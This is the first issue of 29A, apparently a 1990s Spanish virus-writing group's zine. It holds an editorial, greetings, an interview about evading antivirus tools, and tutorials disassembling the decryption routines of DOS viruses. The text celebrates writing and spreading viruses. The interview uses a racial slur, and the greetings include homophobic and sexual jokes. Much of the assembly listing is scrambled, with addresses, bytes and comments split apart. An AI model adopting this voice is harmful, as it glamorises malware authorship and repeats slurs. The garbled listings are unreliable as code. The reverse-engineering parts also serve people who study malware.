Here we are :) *************************************************************************> Mister Sandman At last you can read this...

after a lot of time writing viruses and failing exams, we, 29A, a spanish virus writing group, released our first zine. And no... as you can see, 29A ain't a myth as many people thought. We were just a bit late, that was all. Everything was right until IRC suddenly came into our lifes and sucked all the time we used to dedicate to code viruses. Anyway, and as we're intelligent, we realised that we had to get some more time to restart creating life, and that's why we haven't slept for more than one month and we're known nowadays in the uni as the biggest waggers around :) Now we are part of the virus scene, which is continuously regenerated. In the last times we could see how many groups appeared, merged or died. Thus, Qark and Quantum are retired and enjoying life, SVL broke up due to some legal problems in Slovakia, Immortal Riot and Genesis merged and are gonna release their first issue by the next two weeks, Dark Conspiracy disappeared but many of the members founded a new group, LT, which merged with RSA, iKx released their first zine... as you can see, this doesn't keep moving. There's even a new group, Computa Gangsta, which have recently released the first issue of their zine, DHC, and seem to want to follow the steps of YAM... or even worse! And believe me when i say that it's very hard to face the cruel reality and try to keep oneself's zine cool, or at least not lame :) Especially when we speak about the first release, which is usually the most easily criticisable (or however you spell that word) :) About this first issue itself, we hope that you like it and even find it interesting. Some of us (included me) didn't have the time to finish our babies as we would like to, because we decided to meet on November 30th and release the zine asap, so we had to hurry up some projects. Finally, and as there were some problems we didn't count with, we had to make one MORE delay, till we finally could release it on december 13th... friday 13th, btw ;) In this issue we included some tutorials (polymorphism, macro viruses...) viral techniques (how to disable certain AVs, new install checks...), virus disassemblies (Zhengxi, V.6000...), and viruses written by us, of course :) Have a look at the virus index, because some of them are really interesting and/or innovate new techniques never used before. Btw... remember we're spanish and our english skills suck a little, so we (Mr. White and me, who are the ones who translated the articles) are sorry about any language error you can find in this zine :) As a last thing, and for you to know better who we are, here's the member list, with our nicks and IRC nicks; these nicks were placed in alphabetical order, besides mine (bosses first) :P

Normal nick *********** Mister Sandman............... An¡bal Lecter................ AVV.......................... Blade Runner.................

IRC nick Internet address ******** **************** MrSandman........... A_Lecter............... avv....................... blade............

Gordon Shumway............... Griyo........................ Leugim San................... Mr. White.................... Tcp.......................... The Slug..................... VirusBuster.................. Wintermute...................

Shumway............... Griyo................... LeugimSan.......... W666.................. Tcp....................... The_Slug............. VirusBust......... Winter.............

Besides the new tricks implemented in our viruses, we don't make anything special in this issue... we're saving some info for the next issue; in fact, i've already written a 100% working encrypted resident PE infector and a tutorial about Windows95, and Griyo, Tcp and i have almost finished some superinteresting virus disassemblies... this is part of what 29A#2 will be, so don't miss it! ;) Some words from The Slug: i'm afraid because of the little jumps my article reader sometimes suffers, but the mouse support messed some of my code... anyway, if you're using mouse, it will work ok. I'm sure that the whole Windows community will thank this to me :) And some words from Tcp: we won't write a help file about how to use this file browser, because you ain't supposed to be so lame. Anyway, just note three important things which differ from other browsers: þ There's a '#' at the bottom of the menu bar; that's the 'hot corner' which, being pressed with the mouse, activates the screen saver, which is the payload of the LSD virus :) þ When reading an article, you can use the mouse buttons for performing every kind of moving inside the file and so on. You can even convert to a file every UUencoded file inside an article since i wrote a UUdecoder for the file browser :) þ There's a secret menu in this magazine... try to guess the password and get da freak! with a good debugger, it ain't so difficult ;)

Mister Sandman, bring me a dream.

Distributors *************************************************************************> Mister Sandman Hehe... this is our first release, don't expect too many distributors :) By now we just have one, the spanish 29A headquarters; besides this, you can download 29A from our homepage, from, etc. :) If you're interested on joining to the following send an e-mail to distributor list, just

Web site/Board name Address/Phone ************************************************************************* 29A homepage Wintermute's homepage Dark Node (spanish hq) +34-86-511-495

Mister Sandman, bring me a dream.

Greetings *************************************************************************> Mister Sandman ae b0z0 CoKe Daniel_F darkman DonDuck forty Galar Gi0rgett0 Greenline H_Spirit halflife iiriv jtr kdkd-666 lMetabolis Methyl ODH PJesus Poltergst qark QuantumG rretch Rebyc rod Sep-IRG ShadSeek singhr Skeeve242 tyzm WarBlaDE wlfshmn ww0rker : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : never call me 'vestmanneyjar' ;) still waiting for writing a novel for you... :) hey you, fuckin jetsetter :P hello 2 u (auto msg) good luck with the new VLAD if you wouldn't know so much about greek history... :) you know a funny thing by europeans?... little differences ;) shalom, Galar-tical Galar :) whadda mistaka to maka (your turn) ;) vreau sa merg la Romƒnia devreme! :) it would be nice to read Revelation again i'd really like to see your ponytail :P yodel! :) the greatest trader around, heh? ;) blah :) i really miss bosco's crazy phrases will you bring us that thingy i asked you about? :) ya still on VLAD? <g> you make Celine Dion feel a na-tuuu-ral wo-maaaaaaan :) hi dillhole Depeche Mode are gays :] thank you very much for THAT ;) we miss your code... be back, please! :)''' hope you like the virus i dedicated to you Trebraruna rulez ;) make her complexion like peaches and cream r(o)x(o)ring ASCII tit c(o)llecti(o)n ;) you really have a swastika tattooed in your gonads? :) why don't we found Sarah Gordon's fan club? ;) ay, ay, ay, ay, que se me ha muerto el canario... ;) hmmm... ermghhh... oh, shit, dunno what to tell you O:) still stuck on 8... :) do you use condoms in your gay relationships? :P go ahead with LT/RSA... best luck for you nahhhh... swedish vodka sux ;) hey you, dogkiller :P

Our greetings go too to the people in #viruslatin (raiders, Ramthes, Ordos, Int13h...) and to all those friends who i forgot in the list above, but i swear i ain't the responsable... it's kdkd's fault for not including their names in the bot :P Of course, very big thanks for those who collaborated with the making of this file browser... they worked a lot and i know they're worth :) Tcp The Slug Tuk HeXeTeR Mr. White Others : : : : : : file browser, screensaver, music player article reader with smooth scroll, data files cool 29A logo ;) The VaW and NecronoiD coded the first issue intro music recording AVV and Leugim San, who coded other file browsers :)

Mister Sandman, bring me a dream.

Legal stuff *************************************************************************> Mister Sandman Erhhhmm... well, i really hate doing this kinda things, but it's necessary anyway so... ok, let's suffer for a while and make my lawyers happy :) Albeit most of our readers are supposed to have more than one virus and to be even able to code viruses by theirselves so they ain't the typical lamers who are looking for destructive code to fuck their school computers, we know that exists a risk to become famous <g> and fall in the greasy hands of one of those gimps. Ok, i know that when you are looking for a gun you don't steal one from a museum, but anyway, and due to our morality, we have an internal rule which forbids any destructive code included in our magazine. We prefer to bet for originality and code for fun, so our viruses may be useful for other people who are trying to learn... that's the key stone of the code with educational purposes. Once you have understood this, you may get outta this shit and start enjoying the code... if you're one of those dickheads or antivirus pussies who can't understand what i mean, just get the fuck out. Btw, i don't have any lawyer ;)

Mister Sandman, bring me a dream.

Interviews *************************************************************************> Mister Sandman For this first issue i decided to interview a very good friend of mine, b0z0, because he and his group released their first zine a few time ago, and it's always interesting to know something more about the new talents in the scene, so... here you have the interview:

29A> Ok, b0z0... this is the classic first question of almost every inter29A> view... tell me why did you choose your nick humm... this is a difficult question :) well, really, i just selected it the first time that i went on irc and then i continued to use it. 29A> When and with 'what' did you start computing? i started when i was about 9. my first computer was a ZX Spectrum 16... that were very cool days :) then i upgraded to Spectrum 48, to Spectrum + and finally i got my first 8086. i used mainlt to play games and program a little with basic. 29A> And when did you first know about a computer virus (first experience, 29A> with which virus(es), etc)? i first encountered with viruses a little after my first experience on a x86. i got a copy of some viruses (the aids trojan, some jerusalem variants and some viennas) from a friend and started playing with them. but honestly i haven't cared too much about viruses in that period, so i leaved that diskettes soon in a box after a while :) at that time i was spending all my days playing games or doing something like :) i started "seriously" with viruses about one year ago, when i founded tons of cool virus releated zines and programs around the internet. at that time i really get caught by a great interest for viruses ;) 29A> In what computer languages can you code? i am able to code in asm (80x86 and Z80), c, perl, pascal, basic, and wordbasic (and the languages that derives from these, such as visual basic...) 29A> Describe yourself (physically, morally... however... even sexually if 29A> you dare) :) ok, i'll try :) i'm 17 and i pass about half a day wasting time at school :) for the remaining half of the day i mainly use my computer. i like also reading books (tech or science-fiction ones), i like a lot japanese cartoons (expecially Hokuto Ken, Sailor Moon, Ranma 1/2) and heavy metal and punk music (i need it when i code :) ). 29A> Ok, now about viruses... tell me 29A> the ones you like most which ones have you coded, and/or

well, i haven't coded a lot of viruses. until now i coded about 10 viruses, but only released to the public half of them. that viruses wasn't very complicated or something, just quite simple viruses to learn coding :) i think that i am just now starting to code cool viruses ;) you must wait a little... ;) anyway the one that i write i like most is Sailor.Mars. i was really satisfacted when i saw that noone av scan it in any way thanx to its "encryption" :) and definitely it has the biggest probability to stay in

the wild comparing with the others that i wrote. 29A> Btw, about your virus writing group... tell me something (its story, 29A> new projects, and so on) so, the iKx isn't only a virus writing group :) it is a group of hackers, phreakers and, of course, virus writers. the group born in the second half of the 1995 when the dear old Psycodad decided to try to put up a group of guys interested in this topics. the main idea was to excange interesting information between the components of the group and of course also create a public part for all the other interested guys outside our group. so we started building our webpages and then, after about a year of activity, we released the first issue of our zine, the xine. definitely at the iKx we are having a lot of fun and try to learn as much as possible ;) 29A> Which is/are your favourite virus(es)? i don't really have a favourite virus. there are really many viruses that are cool for a reason or another. if i must say some names then i'll say Qark Ph33r and the One Half virus. 29A> Do you think the perfect virus exists or might be ever coded? i don't know :) maybe... a EXE/COM/OVL/SYS/NE/PE/LE/BS/MBR/DOC infector, multilayer poly, full stealth under dos and win, infects also packed files, full OLE and net support, mid-file infection where possible, full retailating, anti resident-av and so on :) but it would be a little too big i think ;) anyway i don't think that there is really a "need" for a perfect virus. every virus has it's cool features and of course it's problems. but just look around. generally the viruses that are more common in the wild are just the most simple ones. avers every day claims that they can eliminate every new virus or catch it when it is executed. and at the end also the most crap virus can fool every av. just look at the Sailor.Jupiter. it is a quite crap boot sector, but it totally fools all the most used resident and non resident antiviruses. fprot, virstop, tbscan, avp, scan? hoho :) 29A> How will the 'viruses of the future' look in your opinion? i think that the 'viruses of the future' will have support for spreading over a network. there are plenty of this possibilities under win*.* that can be implemented, and they *will* be implemented :) 29A> Ok, now let's have a look at the 29A> is the AV you like most? other side... AVs and AVers. Which

i really hate all the avers that have trasformed the a.c.v for trading and pubblicizing their shit. as for the av products... i used to find cool the tbav, but after a little of studies i founded that it isn't as cool as i thought. so currently i consider that the more efficent is the avp. but i don't like anyway a lot the avp because the scan strings are too general and small. i must say that i like best the small freeware tools developed by individuals researchers. 29A> Heh... one question is enough for those niggas ;) now about the virus 29A> scene... give me your point of view about it (old groups, new groups, 29A> who's cool, who sucks... you know) :) the virus writing scene is, as usual, boring :) it isn't also cool to see great groups to leave... but that's life. anyway in the last months i saw also some new cool groups/individuals entering the virus scene. i hope it will grow and that there would be many cool productions in the near future

;) 29A> Finally, just send a greet to someone, say something, sing, write a 29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your 29A> free space :) ok.... :) i won't sing, i assure it is better for your readers ;) anyway i would like to send big greetings to the entire staff at the iKx, expecially to Psycodad that had the great idea to start with this project, to JHB that invited me to became a member of the iKx and to Kernel Panic that helped me many times. Of course big greets also to Giorgetto and Phoenix. Then also greets to Dandler, kdkd, Galar, l-, Metabolis, Qark, Methyl, Rebyc, Omega, Mindmaniac and all the other guys at #virus or generally to all virus releated ppl :)

Mister Sandman, bring me a dream.

Life in Saturn! *************************************************************************> Mister Sandman This is a stupid but pretty funny new... for those who think that computer viruses are living organisms, i'll tell that there will be life in Titan, the biggest moon of Saturn, from october 1997. No, i ain't drunk... if you don't believe it, just pay attention and read carefully: on october 1997 the spacelead 'Huygens', a project of several european countries, will land in the surface of Titan, the biggest moon in Saturn, in order to seek the start of human life <g>. Inside of this spacelead there will be a CD in which lots of people can write, from a few days ago, their name and a text they want. And as the available room for writing this text is big enough for holding a virus, i decided to send one, so it will be world's ever first virus to reach another planet :) You can either write the source code, the hex dump, or the binary code of a virus... there's a lot of room out there! :) I'll include the source of 'Saturn!', the virus i sent to Titan, in 29A#2, which will be released according to my calculations, in a near date to the landing of the spacelead :) it will be the first, but you can collaborate writing new babies and sending them out, so we will INVADE Saturn!!! :) All it takes is connecting to Huygen's web page and doing a cut&paste of your virus in the message gap... the address of this web page for english speakers is ;)

Mister Sandman, bring me a dream.

Encryption: theory *************************************************************************> VirusBuster As an introduction to Blade Runner's decryption practices, and for those of you whose knowledge isn't just that advanced, we'll describe brielfy the grounds of encryption.

1. Very basic introduction ************************** First viruses ever had their code very visible. They didn't use encryption techniques, neither did they use polymorphic routines in order to variate their code. All the code was nude, without any kind of "trick" which could stop others from disassembling them. Nevertheless, someday, someone (one of the first encrypted viruses was Alexander.1951, from Romania) had the briliiant idea of "hiding" his code from people's curious eyes, and invented something called "encryption". With this technique, we were able to change whatever portion of code we wanted, so when someone else tried to disassemble that code, would get a bunch of garbage instead of "readable" code.

2. Theory ********* There are several different encryption levels. Some of them use a simple operation such as OR, XOR, ..., and there are other ones that combine many ORs, XORs, NOTs,... etc. An encrypted virus has the following execution structure: + It may have a jmp to the virus code (eg Maltese Amoeba) or it may have the viral code at the begining of the file (Jerusalem). + Decryption routine. + Virus code. + Jump to the infected file's code. The decryption routine consists of a series of instructions that turn encrypted code into real instructions. In order to do this, several logical operations (ie OR, XOR,...) are performed on the encrypted bytes. It is not our duty here to explain how en/decryption routines work, therefore i'll explain the different methods of decrypting a virus and how to identify a yet encrypted one.

3. Decryption methods ********************* Overall i must advise experience gives it all. The more viruses you decrypt, the better your bets will be towards fucking this new virus we've just discovered. Some viruses decrypt themselves from top to bottom. I mean, they start decrypting at cs:0130 and continue downwards (cs:0132, cs:0135...). I say from top to bottom but it really goes from the lowest position to the higher ones :) Some other viruses decrypt themselves from the bottom to the top. I mean

from the highest position to the lower ones (cs:4567, cs:4563... cs:0116) Classic decryption formulas are:

cs:0100 . . . cs:0115 . . . cs:0124 cs:0127 cs:012a cs:012d

decrypted code

xor dl,5e

cmp ax,0 je 13d jmp cs:0115 encrypted code

Btw, I don't pretend the adresses to be the real ones :) Well, we can see in cs:0115 a logical operation being performed, and then in cs:0124 a comparison being done, and depending on the result, it will go in each direction. In the above example AX is compared to 0 (being true when all bytes have been decrypted). This is a typical structure in encrypted viruses. When we reach a value, we jump to the next instruction after the jmp that would execute the decryption routine once again. What must we do to decrpyt this possible virus? nothing more than trace the code till you reach cs:012d, as this is the point where code is already decrypted. I leave to you the way to save decrypted code with a bit more of calm. to disk so as to look it

Debug users may write with "w cs:0100 0 40 4" (which would save code from cs:0100 to cs:0900 in drive A, at sector 40h (64d), and would save 4 512byte sectors which would make up to cs:0900), or either overwriting directly the encrypted file, stating its length at CX and performing a disk write (w). If you use Turbo Debugger, strike Tab till you are at the "dump" window. Once there, press alt+f10, select "Block" and then "Write", where you'll change the file name, the adress and the number of bytes to write. For AVPUtil users, press alt+w and specify of bytes to write in that file. the file name and the number

Returning to the structures, we can find the "loop" one:

cs:0100 . . cs:0114 . . cs:0140 cs:0142

decrypted code

or al,al

loop 114 encrypted code

In this case it would be enough to let the loop are a few variants but the base is the same:

decrypt the virus. There

cs:0100 . . cs:0116 . . cs:0150 cs:0156

decrypted code


jmp to stuff decrypted code

What we must do is reach the instruction after it continues to jump upwardly it's decrypting.

jmp to stuff, coz while

In viruses which get decrpyted from top to bottom, this is easily done. You let it perform a couple jumps and then breakpoint the instruction after the jmp. Then you only have to let it run. As soon as the code is decrypted, we'll get the control back. There may be more problems if we're to use DOS's debug when working on a top-to-bottom decrpyting virus. Why? well, the next instruction to the jump will remain encrypted till the end, and it would be difficult to set a breakpoint after just two jumps. Then we may: 1) Use Borland's (TD) or AVP's debugger. 2) Being patient and do it manually. 3) Move the decryption routine and something more to another segment, get onto that segment, breakpoint the instruction after the jump and then run the virus. To do this last step:

-mcs:0100 400 3000:01009 -rcs 3000

I think with all of this it's ok. Well, and still remain all those virii that hang off int 1 or int 3 and don't let us debug them. In this case, i usually run the virus and note down int 21h's vector, writing to disk the virus length. Another solution is to patch int 21h where the virus gets to hang from int 1 or int 3 with a couple of nops.

4. Examples *********** Here you have Maltese Amoeba virus (one of its variants) when encrypted:

0c39:000a 0c39:000b 0c39:000c 0c39:000d 0c39:000e 0c39:000f 0c39:0011 0c39:0012 0c39:0013 0c39:0015

pushf nop nop push push jmp xchg xchg mov push

ax bx 0011 cx,ax cx,ax ah,ah ds

0c39:0016 0c39:0017 0c39:0018 0c39:0019 0c39:001a 0c39:001b 0c39:001c 0c39:001d 0c39:001e 0c39:001f 0c39:0021 0c39:0023 0c39:0024 0c39:0025 0c39:0028 0c39:002a 0c39:002d 0c39:002f 0c39:0031 0c39:0033 0c39:0034 0c39:0037 0c39:0038 0c39:003a 0c39:003b

cmc push clc push pop cld stc push pop mov mov sahf cld mov mov mov mov mov mov lodsw xor clc jmp stosw loop ^^^^

es cs es

cs ds al,al cx,cx

di,004f dl,dl cx,04a6 si,di ax,ax bx,bx ax,a451 003a 0033

Here you have the famous jump that returns to the above adresses.

0c39:003d 0c39:003e 0c39:003f 0c39:0040 0c39:0041 0c39:0043 0c39:0047 0c39:0048 0c39:004a 0c39:004e 0c39:004f 0c39:0050 0c39:0051 0c39:0052 0c39:0053 0c39:0056 0c39:0057 0c39:005a 0c39:005b 0c39:005C 0c39:005E 0c39:0060 0c39:0063 0c39:0064 0c39:0067

cli pop xchg xchg mov add cld mov add nop stosw db dec das mov pop fistp repnz stosw imul mov sbb pushf test inc

ax cx,ax cx,ax ah,ah [01c3],ax al,al [0086],ax

69 bp bp,172f ax qword ptr [si-26]

cl dl,7a ax,a212 bp,[si-59] di

And once decrypted:

[...] 0c39:0034 0c39:0037

xor clc


0c39:0038 0c39:003a 0c39:003b 0c39:003d 0c39:003e 0c39:003f 0c39:0040 0c39:0041 0c39:0043 0c39:0047 0c39:0048 0c39:004a 0c39:004e 0c39:004f 0c39:0050 0c39:0052 0c39:0054 0c39:0057 0c39:0059 0c39:005c

jmp stosw loop cli pop xchg xchg mov add cld mov add nop cli int mov mov mov mov push

003a 0033 ax cx,ax cx,ax ah,ah [01c3],ax al,al [0086],ax

1c bp,sp ax,[bp-04] ds,ax dx,[bp-06] dx

Just trace into every call you find, and don't forget your HD... it might be a YAM virus ;)

to take

care of

* VirusBuster *

Encryption: practice *************************************************************************> Blade Runner This will be a fix section in 29A in which we'll see many of the weirdest decryption routines, and the way to use them so as to decrypt its owners. In this first issue i'll center on easy viruses with no antidebugging, so that people who've just started may understand everything easily. In further issues i'll include more difficult viruses, and then this will get pretty interesting ;-)

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² 1.-VIRUS:ABR-1171.COM infected by PS-MPC.c virus ²²±± ²² 2.-VIRUS:AC-255.COM infected by Arcv.Made.225 virus ²²±± ²² 3.-VIRUS:AC-330.COM infected by Arcv.330 virus ²²±± ²² 4.-VIRUS:AC-839.COM infected by Arcv.Friends virus ²²±± ²² 5.-VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ²²±± ²² 6.-VIRUS:ANTIMIT.COM infected by Anti-Mit virus ²²±± ²² 7.-VIRUS:ARARA.COM infected by Arara virus ²²±± ²² 8.-VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ²²±± ²² 9.-VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 ²²±± ²² 10.-VIRUS:BETA0575.COM infected by Beta_Boys virus ²²±± ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 1 VIRUS:ABR-1171.COM infected by PS-MPC.c virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************** c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ********************************************************************* Let's disassemble the virus; i personally use DOS's debug for this kinda jobs, but use whatever debugger you like. -u100 14CF:0100 14CF:0103 14CF:0104 14CF:0105 14CF:0106 14CF:010A 14CF:010C 14CF:0110 14CF:0111 14CF:0112

E99004 3F 95 D7 29A6C13F 8FD7 29A2C13F 16 D7 7F6E



; Jumpt to ; The rest BP,AX ; can see, ; no sense [BP+3FC1],SP DI [BP+SI+3FC1],SP SS 0182

the address 593h of the code, as you is encrypted and has at all %-)

Now we go to address 593h and find rest of the decrypted code: -u593 14CF:0593 BE0001



; 100h address of actual jmp 593h

14CF:0596 14CF:0597 14CF:059A 14CF:059E 14CF:05A2

56 B94A02 C70429D8 C64402C1 8134C1D7



; Save SI ; Number of bytes to decrypt [SI],D829 ; d829 at 100h [SI+02],C1 ; c1h at 102h [SI],D7C1 ; d7c1h at SI. If we look ; at 100h we'll find a ; call c212h

If we now look at the header being decrpyted, we find that at address 100h, instead of a jmp 593h there's this instruction: call c212h. -u100 14CF:0100 E80FC1 14CF:0103 3F



; 100h address right now

We continue decrpyting... 14CF:05A6 14CF:05A7 14CF:05A8 14CF:05AA 14CF:05AC 14CF:05AE 14CF:05AF 46 46 E2F8 31F6 31C9 C3 0000 INC INC LOOP XOR XOR RET ADD SI ; SI ; 05A2 ; SI,SI; CX,CX; Increase SI, we get 101h Increase SI, we get 102h We decrpyt 24ah bytes which in CX Get a 0 at SI Get a 0 at CX


And we finally have the decrypted virus and look into it; this decryption method is not difficult; it's just tracing the code as we have no antidebugging catch. The disassembled code starting at 100h looks like this after decrypted; look at the original 100h and this one to see that the virus is ready for execution. -u100 14CF:0100 14CF:0103 14CF:0106 14CF:0109 14CF:010C 14CF:010F 14CF:0112 14CF:0115 14CF:0117 14CF:0119 14CF:011B 14CF:011E

E80F00 E85400 E87100 E84E00 E87500 E8D700 BEB904 8B1C 0BDB 743E B8DD34 BA1200


0112 015A 017A 015A 0184 01E9 SI,04B9 BX,[SI] BX,BX 0159 AX,34DD DX,0012

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 2 VIRUS: AC-255.COM infected by Arcv.Made.225 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. ********************************************************************* -u100 14CF:0100 14CF:0103 14CF:0105 14CF:0106

E90500 CD20 90 0909


0108 20 [BX+DI],CX

; Let's jump to 108h

14CF:0108 E80000 -u 14CF:0118 14CF:0119 14CF:011D 14CF:0121 14CF:0124 14CF:0126 14CF:0128 14CF:012A 14CF:012C 14CF:012E 14CF:0130 14CF:0133 14CF:0135 14CF:0136 14CF:0137



; 10bh -> next instruction

53 8D9C4801 8B941601 B9BC00 8B07 33C2 86E0 33C2 86E0 8907 83C302 E2EF 5B C3 E8DEFF


BX BX,[SI+0148] DX,[SI+0116] CX,00BC AX,[BX] AX,DX AH,AL AX,DX AH,AL [BX],AX BX,+02 0124 BX 0118

; ; ; ; ; ; ; ; ; ; ;

We save BX At BX, data at SI+148h Same to DX Number of bytes to decrypt Calculates AX respect of DX XCHanGe AL with AH Calculates AX respect of DX XCHanGe AL with AH We save AX at BX And add 2 to it Decrypting...

Text that appears after decrypting virus at 1e0h: 14CF:01E0 CD 21 B4 3E CD 21 FF E5-B4 3F CD 21 C3 4D 61 64 .!.>.!...?.!.Mad 14CF:01F0 65 20 69 6E 20 45 6E 67-6C 61 6E 64 00 00 2A 2E e in England..*.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 3 VIRUS:AC-330.COM infected by Arcv.330 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* 14CF:0100 E90200 -u105 14CF:0105 E81301 14CF:0108 E57B 14CF:010A 9C -u21b 14CF:021B 14CF:021E 14CF:0221 14CF:0222 14CF:0226 14CF:022A 14CF:022D 14CF:022E 14CF:0230 JMP 0105 ; Jump to 105h


021B ; Call to address 21bh AX,7B; Give a look to this address (108h)

E80000 B91301 5E 81EE2102 8DBC0B01 803551 47 E2FA C3


021E ; Trace the call CX,0113 ; Length = 113h bytes SI ; Pop the delta offset into SI SI,0221 ; SUBstract 221h from SI DI,[SI+010B]; We read address SI+10bh BYTE PTR [DI],51 ; Calculate calue at DI ; address 108h, what 022A ; <*¿ leaves 'B4' at that address ; <***¿ À* Dencrypting À** Return to 108h


14CF:0108 B42A 14CF:010A CD21 14CF:010C 80FE07


AH,2A 21 DH,07

; Decrypted 108h

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 4 VIRUS:AC-839.COM infected by Arcv.Friends virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. ********************************************************************* Warning: this virus features two decryption routines... 14CF:0100 E9FD01 14CF:0103 CD20 -u300 14CF:0300 14CF:0303 14CF:0305 14CF:0307 14CF:0309 JMP INT 0300 20 ; jmp to address 300h

E81403 E0EE 0AF3 0818 D0C1


0617 ; Call address 617h 02F3 ; Remember instruction at 303h DH,BL ; still encrypted [BX+SI],BL CL,1

-u617 14CF:0617 E80400 14CF:061A 0100 14CF:061C DDFF -u61e 14CF:061E 14CF:061F 14CF:0623 14CF:0627 14CF:0628 14CF:0629 14CF:062C 14CF:0630


061E ; Another call... to 61eh... [BX+SI],AX 2F,DI

5B 81EB7816 81C33012 53 5F B94515 81E93112 80B5310108


14CF:0635 14CF:0636 14CF:0638 14CF:063A 14CF:063B 14CF:063C 14CF:063D 14CF:063E [...] 14CF:0303 -u5ec 14CF:05EC 14CF:05EF 14CF:05F0 14CF:05F4 14CF:05F8

47 B20F E2F6 90 90 90 90 C3 E8E602


BX ; POP BX out of the stack BX,1678 ; SUBstract 1678h bytes BX,1230 ; We ADD to BX 1230h bytes BX ; And save BX in the stack DI ; POP BX into DI CX,1545 ; Get 1545h bytes into CX CX,1231 ; SUBstract 1231h to CX BYTE PTR [DI+0131],08 ; After running the xor ; we're left with [303h] ; being e8 ee (call df4h) DI ; INCrease DI in 1 DL,0F ; MOVe 0fh to dl 0630 ; Decrypt a block ; at address 303h

; Return to 303h... 05EC ; CALL to 5ech

E80000 5E 81EE1E04 8DBC3501 B9E602


05EF ; Second decrypting routine SI ; Restore SI SI,041E ; SUBstract 41eh from SI DI,[SI+0135] ; Let's take address SI+135h CX,02E6 ; CX=length to be decrypted.

14CF:05FB 14CF:05FD 14CF:05FF 14CF:0600 14CF:0602 14CF:0604 14CF:0606 14CF:0608 14CF:060A 14CF:060B 14CF:060C 14CF:060E -u 14CF:0306 14CF:0309 14CF:030D 14CF:0310 14CF:0312 14CF:0313 14CF:0314 14CF:0315 14CF:0317 14CF:031C 14CF:0321 14CF:0324

8A05 8AE0 51 B104 D2EC D2E0 0AC4 8805 47 59 E2ED C3



; ; ; ; ; ; ; ; ; ; ; ;

Get [DI] in AL Get AL in AH Save it ont top of the stack Let CL be 4 Shift AH CL-times (4) Same on AH but the other way Store AH next to AL Store AL at [DI] INCrease DI in 1 Restore the no. of bytes to CX Decrypting... Return to 306h, decrypted by now

BF0001 8D9C8003 B90200 87F3 FC F2 A5 87F3 C684C20500 C684780500 B90500 8A947004


DI,0100 BX,[SI+0380] CX,0002 SI,BX

SI,BX BYTE PTR [SI+05C2],00 BYTE PTR [SI+0578],00 CX,0005 DL,[SI+0470]

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 5 VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. M Memory resident code. The program might stay resident in memory. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ********************************************************************* -u 14CF:0100 14CF:0103 14CF:0105 14CF:0108 14CF:010B 14CF:010C 14CF:0110 14CF:0113

E90200 CD20 BE1601 B9BF01 2E 81040B28 83C602 49


0105 20 SI,0116 CX,01BF

; Jump to address 105h ; 116h = start decrypting. ; Size = 1bfh bytes

14CF:0114 75F5

